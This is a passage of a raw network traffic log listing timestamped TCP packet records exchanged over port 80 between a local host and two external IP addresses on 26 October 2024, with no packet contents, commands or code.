Oct 26, 2024 05:54:52.856738091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856790066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856791973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856826067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856839895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856861115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856875896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856901884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.856956005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.856985092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857009888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857029915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857274055 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857326031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857328892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857361078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857373953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857409000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857413054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857445955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857464075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857481003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857494116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857517004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.857532978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.857566118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.858488083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.858517885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.858566046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.858623981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.858652115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.858700037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.898499012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.898540974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.898672104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.898700953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.898792982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.898792982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.945849895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.945887089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.945924044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.945955992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.945990086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.946018934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.946041107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.946041107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.946052074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.946058035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.977108002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.977153063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.977164030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.977195024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.977242947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978286028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978318930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978353977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978368044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978388071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978423119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978430986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978456974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978496075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978538036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978571892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978607893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978610039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978909016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978961945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.978972912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.978996038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.979032993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.012562990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012672901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.012728930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012782097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012790918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.012818098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012835026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012886047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012901068 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.012917042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012945890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.012950897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012955904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.012988091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.012993097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013022900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013030052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013068914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013111115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013144970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013159990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013191938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013360023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013412952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013412952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013447046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013463020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013493061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013623953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013674021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013676882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013711929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013731003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013746023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013761997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013803959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013926983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.013978004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.013978958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014014959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014028072 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014095068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014101028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014130116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014146090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014166117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014178038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014214993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014435053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014487028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.014494896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.014534950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.019804955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.019833088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.019881964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.019907951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.019936085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.019975901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.059938908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.059990883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.060028076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.060039043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.107132912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.107186079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.107196093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.107227087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.107271910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.112627983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.112663031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.112698078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.112711906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.138909101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.138938904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.138973951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.140326023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.140393019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.145385027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.145423889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.145476103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.148195982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.148231030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.148287058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.152488947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.152658939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.152712107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.154681921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.154867887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.154922962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.159034014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.159229994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.159281969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.160228014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.169507980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169562101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169581890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169598103 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169612885 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169634104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169644117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169668913 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169684887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169703960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169719934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169753075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169759989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169790983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169812918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169836044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169861078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169909000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169918060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169951916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169969082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.169986010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.169996023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170025110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170058966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170110941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170114994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170150995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170164108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170198917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170278072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170331001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170331001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170366049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170382023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170403004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170418978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170435905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170455933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170480013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170773029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170825005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170828104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170855999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170872927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170905113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170909882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170943975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170958996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.170979023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.170995951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.171015978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.171025038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.171061039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.171067953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.171103001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.171119928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.171149969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.171410084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.171463966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.181112051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.181215048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.181222916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.186691046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.186733007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.186743975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.221199989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.221261024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.221288919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.221297026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.221322060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.221343994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.268884897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.268943071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.268959045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.268976927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.269013882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.269022942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.269047976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.269083977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.269098043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.299699068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.299773932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.299774885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.299803019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.299853086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.301027060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.301139116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.301173925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.301191092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.302040100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302073002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302092075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.302356958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302390099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302408934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.302440882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302474022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302484035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.302508116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302541971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302548885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.302661896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.302714109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.327155113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327208042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327246904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327258110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327279091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327297926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327301979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327342987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327353001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327388048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327400923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327421904 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327435970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327455044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327470064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327490091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327507019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327518940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327523947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327552080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327567101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327585936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327591896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327615023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327631950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327651024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327666044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327701092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327702999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327730894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327749968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327764034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327764988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327802896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327816963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327831984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327852011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327864885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327872992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327902079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.327915907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.327946901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328386068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328437090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328440905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328473091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328486919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328507900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328524113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328553915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328567028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328602076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328614950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328648090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.328798056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.328845978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.329140902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.329174995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.329196930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.329214096 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.342415094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.342443943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.342495918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.342502117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.342525005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.342566013 CEST	49742	80	192.168.2.4	185.215.113.16
